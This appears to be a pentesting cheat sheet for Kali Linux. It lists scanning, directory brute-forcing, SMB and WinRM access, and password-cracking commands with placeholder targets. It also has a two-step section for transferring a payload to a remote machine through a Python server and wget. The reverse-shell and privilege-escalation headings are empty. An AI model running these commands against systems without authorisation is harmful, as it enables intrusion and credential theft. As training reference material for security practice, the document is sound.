***
# Offensive Security Tools
***
Here you will find a useful collection of commands and file resource locations used in Pentesting operations. This reference is will go hand in hand with Kali Linux.
***
# General Enumeration
***
## NMAP
```bash
# About: A network scanning tool that identifies devices, ports, services, and operating systems
# Download: Pre-installed on Kali Linux
# Usage
nmap -p- --min-rate 5000 -sC -sV {IP ADDRESS}
# Flags
# -p-: scans ALL ports
# --min-rate : Send packets no slower than per second
# -sC: equivalent to --script=default
# -sV: Probe open ports to determine service/version info
```
## NMAP Automator
```bash
# About: Useful script that automates multiple enumeration scans in succession
# Download: https://github.com/21y4d/nmapAutomator/blob/master/nmapAutomator.sh
# Usage
./nmapAutomator.sh --host {IP ADDRESS} --type All
# Flags
# --type Network : Shows all live hosts in the host's network (~15 seconds)
# --type Port : Shows all open ports (~15 seconds)
# --type Script : Runs a script scan on found ports (~5 minutes)
# --type Full : Runs a full range port scan, then runs a thorough scan on new ports (~5-10 minutes)
# --type UDP : Runs a UDP scan "requires sudo" (~5 minutes)
# --type Vulns : Runs CVE scan and nmap Vulns scan on all found ports (~5-15 minutes)
# --type Recon : Suggests recon commands, then prompts to automatically run them
# --type All : Runs all the scans (~20-30 minutes)
```
***
# Port Enumeration
***
## FTP [21]
### ftp
```bash
# About: Connect to FTP server
# Download: Pre-installed on Kali Linux
# Usage
ftp {IP ADDRESS}
# Additional Information
# Default Credentials: anonymous
# Directory Command: dir
# Download Command: get
# Upload Command: put
```
## SSH [22]
## DNS [53]
## FINGER [79]
## Web Server [80, 443]
### gobuster
```bash
# About: Used to brute force web directories
# Download: https://github.com/OJ/gobuster/releases
# Usage
gobuster dir -u {IP ADDRESS} -w /usr/share/wordlists/dirb/common.txt
# Notes: Not recursive, only digs one level deep
# Alternative word lists & locations
┌──(kali㉿kali)-[/usr/share/wordlists/dirb]
big.txt
catala.txt
common.txt
euskera.txt
extensions_common.txt
indexes.txt
mutations_common.txt
others
small.txt
spanish.txt
stress
vulns
┌──(kali㉿kali)-[/usr/share/wordlists/dirbuster]
apache-user-enum-1.0.txt
apache-user-enum-2.0.txt
directories.jbrofuzz
directory-list-1.0.txt
directory-list-2.3-small.txt
directory-list-lowercase-2.3-small.txt
directory-list-2.3-medium.txt
directory-list-lowercase-2.3-medium.txt
```
## Kerberos [88]
## POP3 [110]
## SNMP [161]
## LDAP [389]
## SMB [445]
### smbclient
```bash
# About: Used to connect to SMB
# Download: Pre-installed on Kali Linux
# Usage
# List all SMB Shares
smbclient -L {TARGET_IP}
# Authenticate with local credentials
smbclient -N \\\\{TARGET_IP}\\{SHARE}
# Authenticate with Administrator
smbclient -N \\\\{TARGET_IP}\\{SHARE} -u Administrator
```
## MSSQL [1433]
## NFS [2049]
## RDP [3389]
## WINRM [5985, 5986]
```bash
# About: A tool used to hack WINRM from a linux console
# Download: Pre-installed on Kali Linux
# Usage
evil-winrm -i {IP ADDRESS} -u {USERNAME} -p {PASSWORD}
# Note: Requires credentials
# {IP ADDRESS}: IP Address of the Server
# {USERNAME}: User Authentication
# {PASSWORD}: Password Authentication
```
# Password Cracking
***
## John The Ripper
**OVERVIEW**
| | |
| :-----------: | :-----------: |
| Description | Password/hash cracking tool |
| Download | Pre-installed on Kali Linux |
**USAGE**
```bash
# About: A tool used to crack passwords and hashes
# Download: Pre-installed on Kali Linux
john -w=/usr/share/wordlists/rockyou.txt {FILE.txt}
# {FILE.txt}: File containing the words to crack
```
# Payload File Transfer
***
## Host Python Server [STEP 1]
```bash
# About: A python command used to open a server on the client machine
# Download: Pre-installed on Kali Linux
# USAGE
sudo python3 -m http.server {PORT}
# {PORT}: Port to open for file transfer
```
## Download File with WGET [STEP 2]
```bash
# About: A command used to download files on the current machine
# Download: Pre-installed on Kali Linux
# Download files on the remote machine
wget http://{IP ADDRESS}/{FILE} -outfile {FILE}
# {IP ADDRESS}: Python Server IP Address from step one
# {FILE}: The payload to be trasnfered
```
# Privilege Escalation
## Linux
## Windows
# Reverse Shell
## Linux
## Windows